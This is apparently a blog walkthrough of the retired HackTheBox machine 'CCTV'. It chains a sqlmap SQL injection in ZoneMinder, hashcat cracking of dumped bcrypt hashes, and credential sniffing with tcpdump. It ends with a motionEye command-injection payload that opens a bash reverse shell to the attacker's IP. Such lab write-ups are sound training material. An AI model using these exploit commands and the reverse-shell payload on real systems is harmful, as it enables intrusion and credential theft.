In CCTV, we exploit a ZoneMinder SQL injection extracting user credentials, sniff traffic with tcpdump capturing another user’s password, and exploit MotionEye to achieve root via command injection.

Introduction

In this post, I will demonstrate the exploitation of an easy difficulty machine called "CCTV" on HackTheBox. Overall, it was an enjoyable box offering a nice learning experience.

This box was pwnd on the 1 April. The walkthrough was released when the machine retired on 13 July.

Step 1: running an Nmap scan on the target

After adding the IP to our hosts file (sudo vim /etc/hosts), I ran an nmap scan of the 1000 most common ports.

└─$ nmap -sV -sC cctv.htb
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-24 16:45 -0400
Stats: 0:00:17 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.65% done; ETC: 16:46 (0:00:00 remaining)
Nmap scan report for cctv.htb (10.129.40.65)
Host is up (0.020s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|_  256 76:1d:73:98:fa:05:f7:0b:04:c2:3b:c4:7d:e6:db:4a (ECDSA)
80/tcp open  http    Apache httpd 2.4.58
|_http-title: SecureVision CCTV & Security Solutions
Service Info: Host: default; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 70.03 seconds

This scan revealed that an SSH server as well as an Apache webserver is running. In the background, I also performed a scan of all tcp ports which gave the same results.

Step 2: Enumerating the webserver

Upon visiting the website running on port 80, I was greeted with a generic page where a login button caught my eye immediately.

website port 80

Upon clicking on the login button, I was redirected to a ZoneMinder login panel:

ZoneMinder login panel

Here, I tried the default credentials of "admin" "admin" which gave us access to the ZoneMinder dashboard:

ZoneMinder login panel

From the dashboard, I found out that it was running ZoneMinder version 1.37.63. Doing a quick Google search, I found out that there was a boolean based SQL-injection in a function in the web/ajax/event.php file. Details of the vulnerability can be found here: Boolean based SQL-injection ZoneMinder

Step 3: Gaining access

Abovementioned SQL vulnerability can be easily exploited using sqlmap:

sqlmap -u sqlmap -u 'http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1' --cookie "ZMSESSID=s9v5rv4hvfgamghd3hsbvplr2b" --tables --threads=10 --level=3 --risk=2

The following tables were found leveraging the SQL-injection vulnerability:

Database: zm
[43 tables]
+----------------------+
| Config               |
| ControlPresets       |
| Controls             |
| Devices              |
| Event_Data           |
| Event_Summaries      |
| Events_Archived      |
| Events_Day           |
| Events_Hour          |
| Events_Month         |
| Events_Tags          |
| Events_Week          |
| Filters              |
| Frames               |
| Groups_Monitors      |
| Groups_Permissions   |
| Manufacturers        |
| Maps                 |
| Models               |
| MonitorPresets       |
| Monitor_Status       |
| Monitors             |
| Monitors_Permissions |
| MontageLayouts       |
| Object_Types         |
| Reports              |
| Server_Stats         |
| Servers              |
| Sessions             |
| Snapshots            |
| Snapshots_Events     |
| States               |
| Stats                |
| Tags                 |
| TriggersX10          |
| User_Preferences     |
| Users                |
| ZonePresets          |
| Zones                |
| Events               |
| Groups               |
| Logs                 |
| Storage              |
+----------------------+

The "Users" table seemed most promising. Therefore, I decided to dump it:

sqlmap -u sqlmap -u 'http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1' --cookie "ZMSESSID=68gflconp8s9chl5bjr1dp3ph8" --dump -T Users --threads=10 --level=3 --risk=2

1,<blank>,<blank>,<blank>,Edit,Edit,1,console,Create,$2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm,superadmin,Edit,Edit,View,Edit,Edit,1,<blank>,<blank>,0
2,<blank>,<blank>,mark,Edit,Edit,1,console,Create,$2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.,mark,Edit,Edit,View,View,<blank>,1,<blank>,<blank>,0
3,<blank>,<blank>,admin,Edit,Edit,1,console,Create,$2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m,admin,Edit,Edit,View,View,<blank>,1,<blank>,<blank>,0

This exposed some hashes which I tried to crack using hashcat:

❯ hashcat hash -m 3200 ~/Downloads/rockyou.txt                                            ─╯
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 ) - Platform #1 [Intel(R) Corporation]
=============================================================
* Device #1: Intel(R) Arc(TM) Graphics, 14560/29218 MB (2047 MB allocatable), 128MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 72

Hashes: 2 digests; 2 unique digests, 2 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte

Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.

Host memory required for this attack: 118 MB

Dictionary cache built:
* Filename..: /home/maxime/Downloads/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 2 secs

$2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.:opensesame
[s]tatus [p]ause [b]ypass [c]heckpoint [f]inish [q]uit =>

After some time, hashcat managed to crack the password for "mark". Subsequently, these credentials could be used to login to the box using ssh:

┌──(kali㉿kali)-[~]
└─$ ssh mark@cctv.htb                 
mark@cctv.htb's password: 
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-101-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Fri 24 Apr 21:23:56 UTC 2026

  System load:           0.01
  Usage of /:            70.2% of 8.70GB
  Memory usage:          28%
  Swap usage:            0%
  Processes:             255
  Users logged in:       0
  IPv4 address for eth0: 10.129.40.65
  IPv6 address for eth0: dead:beef::250:56ff:fe94:d99d


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

14 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
mark@cctv:~$ 

Step 4: Lateral privilege escalation to sa_mark

After some exploration on the box, I found 2 interesting directories in /opt:

mark@cctv:/opt$ ls
containerd  video

Next, I found a log file which suggested that a user "sa_mark" is periodically logging into the box and executing some commands. This "sa_mark" user is also a user on the box and has a shell listed in /etc/passwd. Therefore, I wondered whether we could somehow take over his account.

mark@cctv:/opt/video/backups$ cat server.log 
Authorization as sa_mark successful. Command issued: status. Outcome: success. 2026-03-02 08:24:57
Authorization as sa_mark successful. Command issued: status. Outcome: success. 2026-03-02 08:25:54
Authorization as sa_mark successful. Command issued: status. Outcome: success. 2026-03-02 08:26:39
Authorization as sa_mark successful. Command issued: status. Outcome: success. 2026-03-02 08:27:29
Authorization as sa_mark successful. Command issued: status. Outcome: success. 2026-03-02 08:28:00
Authorization as sa_mark successful. Command issued: status. Outcome: success. 2026-03-02 08:28:41
Authorization as sa_mark successful. Command issued: disk-info. Outcome: success. 2026-03-02 08:30:32
Authorization as sa_mark successful. Command issued: status. Outcome: success. 2026-03-02 08:31:30
Authorization as sa_mark successful. Command issued: status. Outcome: success. 2026-03-02 08:32:19
Authorization as sa_mark successful. Command issued: status. Outcome: success. 2026-03-02 08:32:58
Authorization as sa_mark successful. Command issued: disk-info. Outcome: success. 2026-03-02 08:33:29

At this point, I was stuck for a while. My first thought was that there would be a cron job running which we could use to escalate to sa_mark. However, no cron jobs were running. Therefore, I decided to run linpeas. This gave me the following output which I found promising:

══╣ Processes with capability sets (non-zero CapEff/CapAmb, limit 40) (T1548.001)


Files with capabilities (limited to 50):
/snap/core22/2292/usr/bin/ping cap_net_raw=ep
/snap/snapd/25935/usr/lib/snapd/snap-confine cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_setgid,cap_setuid,cap_sys_chroot,cap_sys_ptrace,cap_sys_admin=p
/snap/core24/1349/usr/bin/ping cap_net_raw=ep
/usr/lib/snapd/snap-confine cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_setgid,cap_setuid,cap_sys_chroot,cap_sys_ptrace,cap_sys_admin=p
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_admin,cap_sys_nice=ep
/usr/bin/mtr-packet cap_net_raw=ep
/usr/bin/tcpdump cap_net_raw=eip
/usr/bin/ping cap_net_raw=ep

It seems that tcpdump has a capability set. This is interesting as tcpdump normally needs root privileges to operate as it works with raw network packets. However, the capability "cap_net_raw" is enabled which should allow our regular user "mark" to use it without root privileges. Putting things together, could it be that we can capture the credentials of the "sa_mark" user when sniffing when he periodically logs in to perform his commands? I gave it a try:

mark@cctv:~$ tcpdump -i any -w capture_output.pcap
tcpdump: data link type LINUX_SLL2
tcpdump: listening on any, link-type LINUX_SLL2 (Linux cooked v2), snapshot length 262144 bytes
^C11286 packets captured
12198 packets received by filter
0 packets dropped by kernel

After transferring the pcap file to my machine. I did indeed find the credentials of sa_mark after scrolling through the conversations in Wireshark:

Wireshark sa_mark password

This password can be used to login as the sa_mark user:

mark@cctv:~$ su sa_mark
Password: 
$ whoami
sa_mark

In the home directory, we can find the user.txt:

sa_mark@cctv:~$ ls
'SecureVision Staff Announcement.pdf'   user.txt

Step 5: privilege escalation to root

Additionally, I also downloaded the pdf to my machine which hinted that there was some internal SecureVision service running:

pdf file Zoneminder hint

sa_mark@cctv:~$ ss -tlnp
State         Recv-Q        Send-Q                Local Address:Port                  Peer Address:Port        Process        
LISTEN        0             4096                      127.0.0.1:7999                       0.0.0.0:*                          
LISTEN        0             4096                  127.0.0.53%lo:53                         0.0.0.0:*                          
LISTEN        0             4096                      127.0.0.1:1935                       0.0.0.0:*                          
LISTEN        0             151                       127.0.0.1:3306                       0.0.0.0:*                          
LISTEN        0             4096                        0.0.0.0:22                         0.0.0.0:*                          
LISTEN        0             4096                      127.0.0.1:9081                       0.0.0.0:*                          
LISTEN        0             128                       127.0.0.1:8765                       0.0.0.0:*                          
LISTEN        0             4096                      127.0.0.1:8888                       0.0.0.0:*                          
LISTEN        0             4096                      127.0.0.1:8554                       0.0.0.0:*                          
LISTEN        0             70                        127.0.0.1:33060                      0.0.0.0:*                          
LISTEN        0             4096                     127.0.0.54:53                         0.0.0.0:*                          
LISTEN        0             4096                           [::]:22                            [::]:*                          
LISTEN        0             511                               *:80                               *:*  
sa_mark@cctv:~$ curl http://127.0.0.1:7999
Motion 4.7.1 Running [1] Camera 
1 

Subsequently, I forwarded this to my own machine using ssh:

┌──(kali㉿kali)-[~]
└─$ ssh -L 1234:127.0.0.1:8765 mark@cctv.htb      
mark@cctv.htb's password: 
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-101-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Mon 27 Apr 21:03:58 UTC 2026

  System load:           0.07
  Usage of /:            71.9% of 8.70GB
  Memory usage:          33%
  Swap usage:            0%
  Processes:             266
  Users logged in:       1
  IPv4 address for eth0: 10.129.42.189
  IPv6 address for eth0: dead:beef::250:56ff:fe94:fdcd

 * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
   just raised the bar for easy, resilient and secure K8s cluster deployment.

   https://ubuntu.com/engage/secure-kubernetes-at-the-edge

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

14 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Mon Apr 27 20:36:31 2026 from 10.10.15.26

Now, the service should be accessible on our Kali machine by browsing to http://127.0.0.1:1234.

pdf file Zoneminder hint

Unfortunately, mark or sa_mark credentials did not work to login. Therefore, I began re-exploring the box again. After some time, I found the admin password of motioneye in one of its config files:

sa_mark@cctv:/etc/motioneye$ cat motion.conf 
# @admin_username admin
# @normal_username user
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0
# @lang en
# @enabled on
# @normal_password 


setup_mode off
webcontrol_port 7999
webcontrol_interface 1
webcontrol_localhost on
webcontrol_parms 2

camera camera-1.conf

This gave me access to the motioneye panel:

pdf file Zoneminder hint

From there I was able to find out the version:

motionEye Version 	0.43.1b4
Motion Version 	4.7.1
OS Version 	Ubuntu 24.04

Some quick Google search revealed it was vulnerable to command injection: MotionEye command injection

First, we start our listener on our kali VM:

┌──(kali㉿kali)-[~]
└─$ nc -lnvp 9999            
listening on [any] 9999 ...

Next, we disable client side validation by pasting the following in the browser console:

configUiValid = function() { return true; };

Subsequently, we inject the reverse shell payload in the still images section of the camera and set the settings according to the image and hit apply:

command injection motioneye

I used this payload in the "Image File Name" field

$(bash -c "bash -i >& /dev/tcp/10.10.15.26/9999 0>&1").%Y-%m-%d-%H-%M-%S

After some time, a reverse shell spawned as root where we can get the root flag:

┌──(kali㉿kali)-[~]
└─$ nc -lnvp 9999            
listening on [any] 9999 ...
connect to [10.10.15.26] from (UNKNOWN) [10.129.42.189] 39610
bash: cannot set terminal process group (72022): Inappropriate ioctl for device
bash: no job control in this shell
root@cctv:/etc/motioneye# ls /root
ls /root
clean_logs.sh
docker-binaries
files
root.txt
snap
root@cctv:/etc/motioneye# 

Congratulations, you have successfully rooted this box!

Final thoughts

Overall, This was a nice box which I thoroughly enjoyed solving. It involved quite some steps which were quite fun. The capture of credentials for the user sa_mark was the most challenging as it took a while for me to put everything together. Nevertheless, CCTV is a great and educational box to solve!

Go to the Home Page